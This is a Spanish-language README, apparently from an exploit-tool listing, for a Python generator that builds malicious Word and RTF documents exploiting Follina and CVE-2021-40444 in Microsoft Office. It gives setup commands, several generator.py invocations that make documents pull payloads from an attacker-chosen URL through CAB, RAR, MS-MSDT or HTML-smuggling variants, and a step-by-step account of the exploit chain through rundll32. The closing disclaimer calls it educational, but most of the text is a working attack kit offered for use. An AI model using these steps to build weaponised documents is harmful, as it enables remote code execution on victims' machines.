Explotando las vulnerabilidades Follina y CVE-2021-40444

Tabla de contenidos

1. Introducción
2. Requisitos previos
3. Configuración e instalación
4. Uso
5. Explicación detallada
6. Comandos
7. Descargo de responsabilidad

Introducción

Este repositorio contiene scripts y recursos para explotar las vulnerabilidades Follina y CVE-2021-40444 en Microsoft Office. Los scripts generan archivos de documentos maliciosos que pueden ejecutar código arbitrario en el sistema de destino.

Requisitos previos

• Flare VM
• Python 3.x
• Microsoft Word
• Paquetes de Python requeridos (listados en requirements.txt)

Configuración e instalación

1. Configuración de Flare VM:

   • Asegúrate de tener Flare VM instalado. Las credenciales para la VM son:
     • Usuario: lab
     • Contraseña: password

2. Python y entorno virtual:

   root@kitploit:~

   git clone https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444.git
   cd CVE-2021-40444
   

   • Asegúrate de que Python y pip estén instalados en la máquina virtual.
   • Instala el paquete virtualenv usando el siguiente comando:
     root@kitploit:~

     pip install virtualenv
     

   • Crea un entorno virtual llamado venv:
     root@kitploit:~

     python -m virtualenv venv
     

   • Activa el entorno virtual:
     root@kitploit:~

     venv\Scripts\activate.bat
     

   • Instala los paquetes requeridos:
     root@kitploit:~

     pip install -r requirements.txt
     

Uso

1. Generando el exploit:

   • Navega al directorio del proyecto y ejecuta el siguiente comando para generar el exploit:
     root@kitploit:~

     python generator.py -u http://192.168.197.132 -P test\calc.dll --host
     

     Reemplaza 192.168.197.132 con tu dirección IP.

2. Accediendo al documento generado:

   • El archivo .docx generado estará ubicado en el directorio:
     root@kitploit:~

     C:\Users\Lab\Desktop\project\CVE-2021-40444\out\document.docx
     

Explicación detallada

Explotación de la cadena

• El documento (.docx) se abre.
• El documento contiene una relación que apunta a HTML malicioso almacenado en document.xml.rels.
• El enlace HTML se abre en la vista previa de IE.
• Un objeto apunta a un archivo CAB y un iframe apunta a un archivo INF, ambos incrustados en JScript y con el prefijo de la directiva ".cpl:".
• El archivo CAB se abre, guardando el archivo INF en el directorio %TEMP%Low.
• El archivo INF se abre usando la directiva ".cpl:", lo que hace que rundll32 cargue lateralmente el archivo INF.

Resumen de los scripts

generator.py

• Implementa un exploit para CVE-2021-40444, permitiendo la ejecución remota de código a través de Microsoft Office.
• Contiene varias funciones auxiliares para parchear archivos CAB, crear archivos RAR, generar payloads y más.

cab_parser.py

• Una herramienta para ver los encabezados de archivos CAB.
• Define clases y métodos para manejar y analizar archivos CAB.

Sección 2.0: Configuración en Flare VM

• Instala las herramientas y paquetes necesarios.
• Crea y activa un entorno virtual.
• Instala los paquetes de Python desde requirements.txt.

Comandos

• Genera el exploit original y pruébalo localmente:
  root@kitploit:~

  python generator.py -u http://127.0.0.1 -P test\calc.dll --host
  

• Genera el exploit sin CAB aprovechando MS-MSDT (ataque Follina), en documentos DOCX y RTF:
  root@kitploit:~

  python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
  

• Genera el exploit sin CAB (solo IE) con contrabando de HTML y pruébalo localmente a través de IE:
  root@kitploit:~

  python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
  

• Genera el exploit sin CAB con RAR y pruébalo localmente a través de IE:
  root@kitploit:~

  python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
  

Descargo de responsabilidad

Este proyecto es solo para fines educativos. Úsalo de manera responsable y no explotes vulnerabilidades en sistemas para los que no tengas permiso para probar. El mal uso de esta información puede conllevar cargos penales.